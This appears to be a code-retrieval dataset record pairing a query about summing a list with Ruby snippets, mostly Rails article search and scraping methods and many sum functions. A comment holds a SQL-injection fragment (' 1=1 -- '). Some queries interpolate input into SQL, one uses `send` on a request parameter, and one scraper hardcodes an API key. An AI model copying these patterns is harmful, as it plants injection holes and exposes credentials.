"def search\n @search_words = params[:search_word].split(/[#{ActiveSupport::Multibyte::Unicode.codepoints_to_pattern(ActiveSupport::Multibyte::Unicode::WHITESPACE)}]+/)\n @articles = Article.search(params[:search_word], params[:page], current_user)\n @more_link_path = more_articles_path(search_word: params[:search_word], page: @articles.next_page, articles_type: Article::List::Type::SEARCH)\n unless @articles.any?\n flash[:alert] = get_resource 'no_article'\n end\n end",
"def article(id:)\n Article.find(id)\n end",
"def show_all_article_titles_with_content\n @all = {}\n search_techcrunch[\"articles\"].each do |hash|\n title = hash[\"title\"]\n content = hash[\"content\"]\n @all[content] = title\n end\n @all.each do |content, title| puts \"#{dashes}\\n#{title}\\n#{dashes}\\n#{content}\\n\\n\"\n end\n return nil\n end",
"def get_article_list(start = 0, news_type: \"\", from_date: \"\", to_date: \"\", title_keyword: \"\", content_keyword: \"\")\n from_date = from_date.to_s unless from_date.kind_of?(String)\n to_date = to_date.to_s unless to_date.kind_of?(String)\n\n doc = REXML::Document.new(fetch_article_list(start, news_type, from_date, to_date, title_keyword, content_keyword))\n article_ids = REXML::XPath.match(doc, \"//articleCode\").map(&:text)\n disp_titles = REXML::XPath.match(doc, \"//dispTitle\").map { |node| normalize_text(node.text) }\n main_titles = REXML::XPath.match(doc, \"//mainTitle\").map { |node| normalize_text(node.text) }\n sub_titles = REXML::XPath.match(doc, \"//subTitle\").map { |node| normalize_text(node.text) }\n dates = REXML::XPath.match(doc, \"//sendInfo\").map(&:text)\n movie_counts = REXML::XPath.match(doc, \"//fMovieCnt\").map { |node| node.text.to_i }\n music_counts = REXML::XPath.match(doc, \"//fMusicCnt\").map { |node| node.text.to_i }\n photo_counts = REXML::XPath.match(doc, \"//fPhotoCnt\").map { |node| node.text.to_i }\n\n article_ids.zip(\n disp_titles, main_titles, sub_titles, dates,\n movie_counts, music_counts, photo_counts\n ).map do |id, disp, main, sub, date, movie, music, photo|\n date = \"2015-04-02\" if id == \"AR0060168\"\n Article.new(\n id, date: Date.parse(date),\n display_title: disp, main_title: main, sub_title: sub,\n movie_count: movie, music_count: music, photo_count: photo\n )\n end\n end",
"def index\n @category = Category.find(params[:category_id])\n # byebug\n if params[:search]\n #MAKE SEARCH WITH SQL COMMAND ## W H E R E ##\n @articles = Article.all.select{|art| art.title.downcase.include?(params[:search].downcase)}\n if @articles == []\n @s = true\n else\n @articles == []\n end\n else\n @articles = Article.all.select{|art| art.category_id.to_i == @category.id}\n if @articles == []\n @t = true\n else\n\n end\n end\n\n end",
"def find_article(title)\n path_to_article \"/wiki/Special:Search?search=#{title}\"\n end",
"def articles(page = 'hot', options = {})\n get_resources(\"#{@url}#{page}\", options) do |resource_json|\n Article.new(resource_json['data'])\n end\n end",
"def test_stories_find_upcoming\n assert_not_nil @rdigg.stories.find_upcoming(:count => 3)\n end",
"def index\n if (search = params[:search]) && (Article.respond_to?(search.to_sym))\n @articles = Article.send(search)\n else\n @articles = Article.top_requested\n end\n end",
"def interest_in_article(article)\n \n end",
"def test_stories_find_upcoming_by_topic\n assert_not_nil @rdigg.stories.find_upcoming_by_topic(\"apple\")\n end",
"def test_add_an_article\n $ie.link(:text, /Add an Article/).click\n $ie.text_field(:id, \"content_title\").set(\"a new article\")\n $ie.text_field(:id, \"content_teaser\").set(\"the new article teaser\")\n $ie.text_field(:id, \"content_body\").set(\"the new article body\")\n $ie.form(:id, \"new_article\").submit\n $ie.link(:text, \"a new article\").click\n assert $ie.h1(:text, \"a new article\").exist?\n assert $ie.p(:text, \"the new article teaser\").exist?\n assert $ie.div(:id, \"content_body\").text.include?(\"the new article body\")\n end",
"def set_fake_articles\n @fake_news_source = FakeNewsSource.find(params[:fake_news_source_id])\n end",
"def show_all_articles\n\t\tif @articles.size > 0\n \t\t\t@articles.each do |article|\n \t\t\tshow_article_piece(\"\\nArticle Title: #{article[:title]}\\nSection: #{article[:section]}\\nColumn: #{article[:column]}\")\n \t\t\t\tshow_article_piece(\"Published: #{article[:date]}\\nDescription: #{article[:description]}\\nLink: #{article[:url]}\")\n \t\t\tend\n \t\t\tputs \"\\nTotal Articles Available: #{@articles.size}\"\n \t\telse # No articles to display\n \t\t\tputs \"\\nSorry, There are no articles available with the options that were selected.\"\n \t\tend\n \tend",
"def articles=(value)\n @articles = value\n end",
"def index\n @articles = Article.search(params[:search])\n if params[:search].present?\n if @articles.empty?\n @search = \"No records found for '#{params[:search]}'\"\n else \n @search = \"Your query- '#{params[:search]}' yielded #{@articles.count} results.\"\n end \n end \n end",
"def scrape_article\n\n url=\"http://sbs.feedsportal.com/c/34692/f/637303/index.rss\"\n open(url) do |rss|\n feed = RSS::Parser.parse(rss)\n feed.items.each do |item|\n temp_article=Article.new\n temp_article.author=item.author\n temp_article.title=item.title\n\n # input was in form of several paragraphs in html format\n # the code splits the paragraphs to arrays so only the relevent\n # text is displayed\n temp_article.summary=item.description.split('<')[0]\n temp_article.images=get_http(item.description)\n temp_article.source=SbsImporter.source_name\n temp_article.link=item.link\n temp_article.date=item.pubDate.to_date\n\n\n\n\n\n if(temp_article.date <= @end && temp_article.date>=@start && is_unique(temp_article))\n #if article is with the start and end date insert into array and is unique\n\n temp_article.save\n\n\n end\n\n end\n\n\n\n\n end\n end",
"def get_news_of_person(uri)\n articles = []\n q = \"SELECT *\n WHERE { ?article <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#talksAboutPerson> <#{uri}> }\"\n results = query(q)\n results.each do |result|\n result = Article.find_by_uri(result[:article].to_s)\n articles << result\n end\n return articles\n end",
"def test_stories_find_top\n assert_not_nil @rdigg.stories.find_top(:count => 3)\n end",
"def search_bool(query)\n ap \"!!!!!!!!!!!!!!!!!!! SEARCH BOOL CALLED WITH query \" + query.to_s\n terms = query.split(' ')\n\n articles_bool = []\n terms.each do |term|\n ap \"!!!!!! TERM !!!!\"\n ap term\n matches = Article.find(:all, conditions: ['summary LIKE ? and title LIKE ?', \"%#{term}%\", \"%#{term}%\"])\n ap \"!!!!!!!! MATCHES !!!!!\"\n ap matches\n matches.each do |article|\n if !articles_bool.include? article\n articles_bool << article\n end\n end\n end\n\n return articles_bool\n \n end",
"def index\n @q = Article.search(params[:q])\n @articles = Article.search(params[:q]).result.page(params[:page])\n end",
"def search\n @articles = Article.all\n @markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n if params[:term]\n @articles = Article.search(params[:term])\n end\n end",
"def download_article_data\n print \"Getting list of articles...\\n\"\n ArticleGetter.new([ARTICLE_SOURCE]).result\n end",
"def test_stories_find_hot_by_topic\n assert_not_nil @rdigg.stories.find_hot_by_topic(\"apple\")\n end",
"def show\n @articles = @rubric.articles.order('published_at desc').paginate(:page => params[:page], :per_page => 18)\n end",
"def scrape_articles\n age_import=AgeImporter.new(self.start_date,self.end_date)\n age_import.scrape_article\n sun_import=SunImporter.new(self.start_date,self.end_date)\n sun_import.scrape_article\n nyt_import=NytImporter.new(self.start_date,self.end_date)\n nyt_import.scrape_article\n\n\n\n abc_import=AbcImporter.new(self.start_date,self.end_date)\n abc_import.scrape_article\n\n smh_import=SmhImporter.new(self.start_date,self.end_date)\n smh_import.scrape_article\n\n sbs_import=SbsImporter.new(self.start_date,self.end_date)\n sbs_import.scrape_article\n end",
"def test_stories_find_hot\n assert_not_nil @rdigg.stories.find_hot(:count => 3)\n end",
"def scrape\n articles = []\n url = 'http://api.nytimes.com'\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = false\n\n key = 'api-key=c12cb16541dce28040f58db4a5e139d6%3A17%3A72711388'\n\n request_url = '/svc/search/v2/articlesearch.json?' + key\n response = http.send_request('GET', request_url)\n\n result = JSON.parse(response.body)\n docs = result['response']['docs']\n\n docs.each do |doc|\n articles << (interpret doc)\n end\n articles\n end",
"def articles\n Article.find(:all, :conditions => \"category_id IN (#{category_ids})\")\n end",
"def index\n @articles = Article.search(params[:search])\n end",
"def article_feed\n \tArticle.all\n end",
"def articles\n Ticket::Article.where(ticket_id: id).order(:created_at, :id)\n end",
"def find_live_article\n live_articles = get_articles_by_type('liveblog', 3)\n live_articles.find(&:is_live?)\n end",
"def test_find_by_title\n assert_equal(@todo1, @list.find_by_title(\"Buy milk\"))\n end",
"def create\n @daylife = daylife_helper\n m = TactfulTokenizer::Model.new\n num_articles = 0\n params[:event_checkbox].each do |event_key, event_value|\n if event_value == \"yes\"\n @event = Event.find(event_key)\n str = \"source_\" + @event.id.to_s()\n params[str.to_sym].each do |source_key, source_value|\n if source_value == \"yes\"\n @source = Source.find(source_key)\n r = @daylife.execute('search', 'getRelatedArticles', :query => @event.search_string, :limit => 100, :source_whitelist => @source.daylife_id, :start_time => @event.from_date, :end_time => @event.to_date, :sort => 'relevance')\n if(r.success?)\n logger.info 'aditya'\n r.articles.each do |a| \n \n # logger.info enrich_data(Readability::Document.new(source).content)\n # logger.info a.url\n # logger.info a.nil?\n begin\n source = open(a.url).read\n \n @article = Article.new\n @article.headline = a.headline\n @article.url = a.url\n content = Readability::Document.new(source).content\n logger.info m.tokenize_text(content).count\n @article.content = enrich_data(content)\n @article.sentence_count = m.tokenize_text(@article.content).count\n @article.source_id = @source.id\n @article.event_id = @event.id\n # logger.info @article.content\n\n # Save the article only if the sentence count \n # count is greater that 10, since small articles are \n # of no use to us.\n if @article.sentence_count > 10\n if @article.save\n num_articles += 1\n else\n logger.info 'Could not save the article ' + a.url\n end\n end\n\n rescue => e\n logger.info \"error is: #{e}\"\n end\n end\n else \n # output the error message \n logger.info \"Error: #{r.code}: #{r.message}\" \n end \n end\n end\n logger.info @event.name\n end\n end\n respond_to do |format|\n format.html { redirect_to articles_url , notice: num_articles.to_s() + ' number of articles was successfully created.' }\n # format.json { render json: @article, status: :created, location: @article }\n end\n end",
"def index\n if params[:title]\n @articles = Article.where(\"title like ? \",\"%#{params[:title]}%\").page(params[:page]).per(10)\n elsif params[:category_id]\n @articles = Article.where(category_id:params[:category_id]).page(params[:page]).per(10)\n else\n @articles = Article.all.page(params[:page]).per(10)\n end\n end",
"def search\n\t\t@articles = Article.where(\"text = ?\",params[:q])\n \n #Article.find_by_text(params[:q])\n \n #debug\n @articles.each do |article|\n puts article.title\n end\n \n \n\t\t#@articles = Article.where(:text => params[:q]) ' 1=1 -- '\n\n\t\t#@articles = Article.where(\"text = ?\", params[:q] )\n \n \n #TODO\n # add filter for other fields\n # Article.where(\"text = ? and title = ?\",params[:text],params[:title])\n \n # to add LIKE filter SQL : name like %aa%\n # \"name LIKE ? OR postal_code like ?\", \"%#{search}%\", \"%#{search}%\"\n \n end",
"def search\n query = params['query'] # query sent by user\n searchtype = params['searchtype'] # what type of search is this\n \n # based on search type, call the appropriate search function\n\n case searchtype\n when 'boolean' then @articles = search_bool(query)\n when 'tf' then @articles = search_TF(query)\n when 'tfidf' then @articles = search_TFIDF(query)\n when 'pagerank' then @articles = search_pagerank(query)\n when 'pageranktfidf' then @articles = search_TFIDF_pagerank(query)\n else @articles = nil\n end\n\n ap @articles\n @found = 1\n if @articles.nil?\n @msg = \"None found, try again...\"\n @found = 0\n @articles = []\n end\n render \"articles\"\n \n end",
"def index\n seach_months_article\n if params[:tag]\n @articles = Article.tagged_with(params[:tag]).paginate(page: params[:page], per_page: 5)\n elsif params[:search]\n @articles = Article.search_published(params[:search]).paginate(page: params[:page], per_page: 5)\n else\n @articles = Article.paginate(page: params[:page], per_page: 5).order('created_at DESC')\n end\n #fresh_when(:etag => [@articles, @articles_month], :public => true)\n end",
"def articles\n return @articles\n end",
"def index\n\n @articles = Article.all\n @articles = @articles.where('name LIKE ?', '%'+params[:nom]+'%') if !params[:nom].blank?\n @articles = @articles.where('reference LIKE ?', '%'+params[:ref]+'%') if !params[:ref].blank?\n @articles = @articles.page(params[:page])\n\n end",
"def article(cps_id)\n @client.request(:get, \"articles/#{cps_id}\")[\"article\"]\n end",
"def index\n @articles = Article.truth\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end",
"def index\n # params[:category] ? @articles = Article.category_with(params[:category]) :\n @articles = Article.search(params[:search], params[:page])\n @articles = Article.all\n @articles = Article.paginate(page: params[:page])\n end",
"def is_article\n infopageable_type == 'Article'\n end",
"def show\n @article = Article.find(params[:id])\n @articles = Article.left_joins(:votes).group(:id).order('COUNT(vote) DESC')\n tag_list = @article.tag_list\n relevant = Article.tagged_with(tag_list, :any => true,:wild => true)\n @relevant_tag = []\n\n relevant.each do |x|\n if x.id != @article.id\n @relevant_tag << x\n end\n end\n\n # impressionist(@article)\n end",
"def my_articles\n store._articles.find user_id: current_user._id\n end",
"def show_article\n return false unless (@article = find_or_goto_index(Article, params[:id]))\n @canonical_url = \"#{MO.http_domain}/article/show_article/#{@article.id}\"\n end",
"def articles_filter(action, atts)\n article = atts[:article] ? atts[:article] : (atts[:article_id] ? Article.find_by_id(atts[:article_id]) : nil)\n\n case action\n when \"show\", \"newest\", \"best\"\n return true\n when \"new\", \"create\", \"edit\", \"update\", \"destroy\"\n return has_at_least_one_of_roles({\n :roles => [ :root, :admin, :articles_editor ],\n :user => atts[:user]\n })\n when \"set_mark\"\n return has_at_least_one_of_roles({\n :roles => [ :root, :admin, :marker ],\n :user => atts[:user]\n }) && article && article.user.id != atts[:user].id # nesmi znamkovat vlastni\n else\n return false\n end\n end"
] |
[
"0.6749496",
"0.67161655",
"0.6697678",
"0.6686039",
"0.6683691",
"0.66740173",
"0.66222036",
"0.65760094",
"0.6539714",
"0.6514489",
"0.65023726",
"0.6470288",
"0.6454364",
"0.64371675",
"0.6431779",
"0.639554",
"0.6394885",
"0.6390838",
"0.6366575",
"0.63268214",
"0.6324389",
"0.63172793",
"0.6303705",
"0.6302384",
"0.62872964",
"0.62770677",
"0.62517774",
"0.61893034",
"0.6187491",
"0.61595136",
"0.6135944",
"0.61338776",
"0.61258584",
"0.6105528",
"0.60506165",
"0.6045423",
"0.6042045",
"0.60393125",
"0.6038806",
"0.60368204",
"0.6027223",
"0.60153323",
"0.6004048",
"0.59989005",
"0.59983224",
"0.59981674",
"0.5996923",
"0.5995232",
"0.59820753",
"0.5981856",
"0.59785146",
"0.59744275",
"0.5970895",
"0.5968873",
"0.59616244",
"0.594557",
"0.59383684",
"0.593756",
"0.59360015",
"0.59298456",
"0.59294623",
"0.5929233",
"0.59267676",
"0.59266794",
"0.5923239",
"0.5915804",
"0.5902722",
"0.5901048",
"0.5900469",
"0.58936584",
"0.5887985",
"0.5884756",
"0.5882634",
"0.58762896",
"0.58753246",
"0.58735543",
"0.58716977",
"0.58712834",
"0.5869337",
"0.58633965",
"0.58485913",
"0.5847864",
"0.5839097",
"0.5831116",
"0.5821748",
"0.58182675",
"0.5813009",
"0.5812714",
"0.58125085",
"0.5799515",
"0.5790298",
"0.5790098",
"0.5786972",
"0.5779298",
"0.57780445",
"0.57769763",
"0.5774726",
"0.57725734",
"0.57709664",
"0.57703716"
] |
0.7091233
|
0
|
Complete each step below according to the challenge directions and include it in this file. Also make sure everything that isn't code is commented in the file. I worked on this challenge with: Bill Deng. 0. total Pseudocode make sure all pseudocode is commented out! Input: array (list of numbers) Output: number Steps to solve the problem. Create variable to store the sum of all numbers on the list Go through each number on the list Add it to the variable we created Output the sum 1. total initial solution
|
def total(list)
sum = 0
for i in list
sum = sum + i
end
p sum
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def solution(a)\n return 0 if a.uniq.size != a.size\n \n max = a.size \n sum = (1 + max) * max / 2\n \n array_sum = a.inject(0, &:+) \n sum == array_sum ? 1 : 0 \nend",
"def solution(number)\n sum = 0\n Array(1..number-1).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend",
"def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend",
"def sum_of_sums(array)\n sequence_total = 0\n sum = 0\n array.each do |n|\n sequence_total += n\n sum += sequence_total\n end\n sum\nend",
"def sum_numbers(numbers)\r\n # Your code here\r\n #initalize the sum\r\n sum = 0\r\n #iterate through every element of a given array\r\n numbers.each do |number|\r\n #add the previous sum and next number in the array\r\n sum += number\r\n end\r\n \r\n return sum\r\nend",
"def sum(x)\n solution = 0\n x.each do |num|\n solution += num\n end\n solution\nend",
"def sum_of_sums(array)\n results = []\n\n loop do \n break if array.empty?\n results << array.inject(:+)\n array.pop\n end\n\n results.inject(:+)\nend",
"def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend",
"def total(array_of_numbers)\n sum = 0\n array_of_numbers.each do |num|\n sum += num\n end\n return sum\nend",
"def solution(a)\n ans = 0\n for i in 1 .. (a.length - 1)\n ans += a[i]\n end \n ans\nend",
"def solution5(input)\n # Approach\n # Map over the initial array (to return a transformed array)\n # Map over each interal array (to return a transformed array)\n # Creates an enumerable range up to the value in the array\n # Multiple each value in the range using the inject method\n # which iterates and keeps the running total\n\n # Final solution\n # Uses shorthand version of inject\n # Remove the useless multiple by 1\n # Note the use of the starting value of 1 for inject\n # which makes 0!=1 class Quiz\n # find even values\n def solution1(input)\n # Final solution\n input.flatten.select do |value|\n value.even?\n end\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.select do |value|\n # value.even?\n # end\n # end.flatten\n end\n\n # find value sum\n def solution2(input)\n # Final Solution\n input.flatten.inject(:+)\n\n # Second solution:\n # Works correctly\n # Doesn't use shortcut version of inject\n #\n # input.flatten.inject do |sum, value|\n # sum += value\n # end\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.inject do |sum, value|\n # sum += value\n # end\n # end.inject do |sum, value|\n # sum += value\n # end\n end\n\n # find max value\n def solution3(input)\n # Final solution\n input.flatten.max\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.max\n # end.max\n end\n\n # sum the array lengths\n def solution4(input)\n # Final solution\n input.map(&:length).inject(0, :+)\n\n # Second solution:\n # Works correctly\n # Doesn't use shortcut version of inject\n #\n # input.map(&:length).inject{|sum, value| sum += value}\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.length\n # end.inject {|sum, value| sum += value}\n end\n\n # transform to factorials\n # Factorial is defined as the product of all the whole numbers from 1 to n\n # Examples:\n # 4! = 4*3*2*1\n # 1! = 1\n # 0! = 1\n def solution5(input)\n # Approach\n # Map over the initial array (to return a transformed array)\n # Map over each interal array (to return a transformed array)\n # Creates an enumerable range up to the value in the array\n # Multiple each value in the range using the inject method\n # which iterates and keeps the running total\n\n # Final solution\n # Uses shorthand version of inject\n # Remove the useless multiple by 1\n # Note the use of the starting value of 1 for inject\n # which makes this work properly for all values (including 0, 1)\n input.map do |ary|\n ary.map do |value|\n (2..value).inject(1, :*)\n end\n end\n\n # First solution\n # Mostly optimized\n # Does 1 more multiplication than needed (mult by 1)\n #\n # input.map do |ary|\n # ary.map do |value|\n # (1..value).inject(1) do |factorial, value|\n # factorial *= value\n # end\n # end\n # end\n end\nend",
"def sum_of_sums(numbers)\n 1.upto(numbers.size) do |num|\n num += 1\n end\n # num\nend",
"def sum1(array)\r\n sum = 0\r\n array.each do |number|\r\n sum += number\r\n end\r\n sum\r\nend",
"def sum(array)\n sum = 0\n\n array.each { |number|\n sum += number\n }\n\n return sum\nend",
"def sum_of_sums(array)\n sum = 0\n array.length.times do |index|\n sum += array[0, index + 1].reduce(&:+)\n end\n sum\nend",
"def sum_of_sums1(numbers)\n result = 0\n index_end = 1\n loop do\n numbers[0, index_end].each { |number| result += number }\n break if index_end >= numbers.size\n\n index_end += 1\n end\n result\nend",
"def sum(array)\n\tanswer = 0\n\tif array.length > 0 then\n\t\tarray.each {|x| answer += x}\n\telse\n\t\treturn 0\n\tend\n\treturn answer\nend",
"def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend",
"def solution(array)\n result = Array.new(array.length, 0)\n\n array.each do |element|\n if result[element - 1]\n result[element - 1] += 1\n else\n result[element - 1] = 1\n end\n end\n\n result.uniq.size == 1 ? 1 : 0\nend",
"def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend",
"def solution5(input)\n # Approach\n # Map over the initial array (to return a transformed array)\n # Map over each interal array (to return a transformed array)\n # Creates an enumerable range up to the value in the array\n # Multiple each value in the range using the inject method\n # which iterates and keeps the running total\n\n # Final solution\n # Uses shorthand version of inject\n # Remove the useless multiple by 1\n # Note the use of the starting value of 1 for inject\n # which makes this work properly for all values (including 0, 1)\n input.map do |ary|\n ary.map do |value|\n (2..value).inject(1, :*)\n end\n end\n\n # First solution\n # Mostly optimized\n # Does 1 more multiplication than needed (mult by 1)\n #\n # input.map do |ary|\n # ary.map do |value|\n # (1..value).inject(1) do |factorial, value|\n # factorial *= value\n # end\n # end\n # end\n end",
"def solution(number)\nn = 0..number\na = []\nfor i in n\n if i % 3 == 0 || i % 5 == 0\n a = a.push(i)\n end\n end\ns = 0\n# a.pop\na.each {|x| s += x}\ns\nend",
"def solution(number)\n arr = [];\n i = 1;\n while i < number\n if i % 3 == 0 || i % 5 == 0\n arr.push(i)\n end\n i += 1\n end\n\n puts arr.sum\nend",
"def sum array\n\tsum = 0\n\tarray.each do |number|\n\t\tsum = sum + number\n\tend\n\tsum\nend",
"def add_nums_iterative(arr)\n return nil if arr.length == 0\n total = 0\n arr.each do |num|\n total += num\n end\n total\nend",
"def sum(array)\n sum = 0\n array.each { |n| sum += n } \n sum\nend",
"def total(array)\n sum = 0\n array.each do |number|\n sum = sum += number\n end\n sum\nend",
"def running_total(array_of_nums)\n increment = 0\n running_total_array = []\n\n array_of_nums.each do |num|\n running_total_array << num + increment\n increment += num\n end\n\n running_total_array\nend",
"def solve_again_with_more_issues(array, sum)\n array.combination(2).find_all do |one, two|\n one + two == sum\n end.size\nend",
"def solution(number)\n return 0 if number <= 3\n\n sum = 0\n (1..(number - 1)).each do |n|\n if (n % 3 == 0) || (n % 5 == 0)\n sum += n\n end\n end\n\n sum\nend",
"def total(array)\n sum = 0\n array.each do |n|\n sum += n\n end\n sum\nend",
"def sum_of_sums(array)\n total = 0\n until array.size == 0\n total += array.reduce(:+)\n array.pop\n end\n total\nend",
"def solve(array)\n results = [0] * (array.max + 1)\n\n array.each do |element|\n results[element] + 1\n end\n array.index(1)\nend",
"def sumArray(array)\n sum = 0\n array.each do\n |n|\n sum += n.to_i\n end\n puts \"Somme : #{sum}\"\nend",
"def summer (array, target_number)\n\t#tracks number position in array \n\tindex = 0\n\t#array of two element arrays that is returned by function\n\tanswer_array = []\n\twhile index <= array.length\n\t \tarray.each do |number|\n\t\t\tif (((array[index].to_i + array[number].to_i) == target_number) && index != number)\n\t\t\t\tanswer_array.push([array[index], array[number]])\n\t\t\tend \n end\n index += 1 \n end \t\n answer_array\nend",
"def sum arr\n sum1 = 0;\n \n arr.each do\n |num|\n sum1+=num;\n end\n \n if arr.empty?\n return 0;\n end\n \n return sum1;\nend",
"def sum(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def fold_array(array, runs)\n solution = []\n\n\n if runs ==1 and array.length == 1\n solution.push(array[0])\n return solution\n####################\n elsif runs == 1\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n return solution\n#######################\n elsif runs == 2\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n nextrun = solution\n if nextrun.length.even?\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-2) do |x|\n solution[x] = nextrun[x] + nextrun[array.length - (x+1)]\n end\n solution.push(nextrun[mid] + nextrun[mid - 1])\n else\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n end\n return nextrun\n########################\n elsif runs == 3\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n nextrun = solution\n if nextrun.length.even?\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-2) do |x|\n solution[x] = nextrun[x] + nextrun[array.length - (x+1)]\n end\n solution.push(nextrun[mid] + nextrun[mid - 1])\n else\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n end\n ######\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n return nextrun\n #return [nextrun[0] + nextrun[1]] if nextrun.length == 2\n\n\n end\n\n\n\nend",
"def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend",
"def total(array)\n\tanswer=array.inject(0){\n\t\t|sum,i| sum+i\n\t}\n\treturn answer\nend",
"def sum(array)\n array.reduce(0, :+)\n=begin\n res =0\n array.each { |a| res += a }\n res.to_i\n=end\nend",
"def sum_array(array)\n sum = 0\n array.each do |number|\n sum += number\n end\n sum\nend",
"def total(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n return sum\nend",
"def solution(number)\n(0...number).map{|x| x % 3 == 0 || x % 5 == 0 ? x : 0}.inject{|sum, x| sum + x}\nend",
"def total(input_array)\n\tn = 0\n\tinput_array.each do |x|\n\t\tn += x\n\tend\n\treturn n\nend",
"def sum(nums_to_sum)\n total = 0\n i = 0\n while i < nums_to_sum.length\n total = total + nums_to_sum[i]\n i += 1\n end\n return total\nend",
"def sum_of_sums(array)\n total = 0\n loop do\n break if array.size == 0\n total += array.flatten.sum\n array.pop\n end\n total\nend",
"def reduce_to_total(source_array, starting_point = 0)\n #source_array.reduce(starting_point) {|sum, n| sum + n}\n i = 0\n sum = starting_point\n while i < source_array.length do\n sum = sum + source_array[i]\n i += 1\n end\n return sum\nend",
"def crazy_sum(numbers)\n i = 0\n sum = 0\n \n while i < numbers.length\n sum = sum + i * numbers[i]\n i = i + 1\n end\n \n return sum\nend",
"def sum(arr)\n output = 0\n arr.each do |num|\n output += num\n end\n return output\nend",
"def continuous_sum(array, number)\n array.each_with_index do |_item, index|\n p array[index..-1]\n array[index..-1].inject(0) do |memo, item|\n break if memo > number\n memo += item\n return puts 'True!' if memo == number\n memo\n end\n end\nend",
"def running_sum(nums)\n answer = [nums[0]]\n i = 1\n while i < nums.length\n answer.push(answer[-1] + nums[i])\n i += 1\n end\n return answer\nend",
"def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend",
"def sum_of_sums(numbers)\n sum_total = 0\n 1.upto(numbers.size) do |count|\n sum_total += numbers.slice(0, count).inject(:+)\n end\n sum_total\nend",
"def total(array)\n sum = 0\n array.each do |x|\n sum = sum + x\n end\n sum\nend",
"def sum_array(array)\n sum = 0\n\n array.each do |number|\n sum += number\n end\n\n return sum\nend",
"def solution(a)\n numbers = a.sort\n (0..numbers.length-3).each do |index|\n triplet = numbers[index..index + 2]\n max_value = triplet.max\n sum = triplet.min(2).inject(&:+)\n\n return 1 if sum > max_value\n end\n\n 0\nend",
"def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend",
"def sum_of_sums(numbers)\n sum = 0\n numbers.size.times do |idx|\n sum += numbers[0..idx].inject(:+)\n end\n \n sum\nend",
"def total(array)\n i = 0\n answer = 0\n\n while i < array.length\n answer += array[i]\n i += 1\n end\n return answer\nend",
"def total(array)\n i = 0\n answer = 0\n\n while i < array.length\n answer += array[i]\n i += 1\n end\n return answer\nend",
"def findSum()\n\tnumbers.inject(0) { |sum, number| sum + number }\nend",
"def running_total(nums_ary)\n ary = []\n\n nums_ary.reduce(0) do |sum, num|\n ary << sum + num\n sum + num\n end\n ary\nend",
"def sum_of_sums(numbers)\n sum_total = 0\n 1.upto(numbers.size) do |count|\n sum_total += numbers.slice(0, count).reduce(:+)\n end\n sum_total\nend",
"def sum_of_sums(numbers)\n sum_total = 0\n 1.upto(numbers.size) do |count|\n sum_total += numbers.slice(0, count).reduce(:+)\n end\n sum_total\nend",
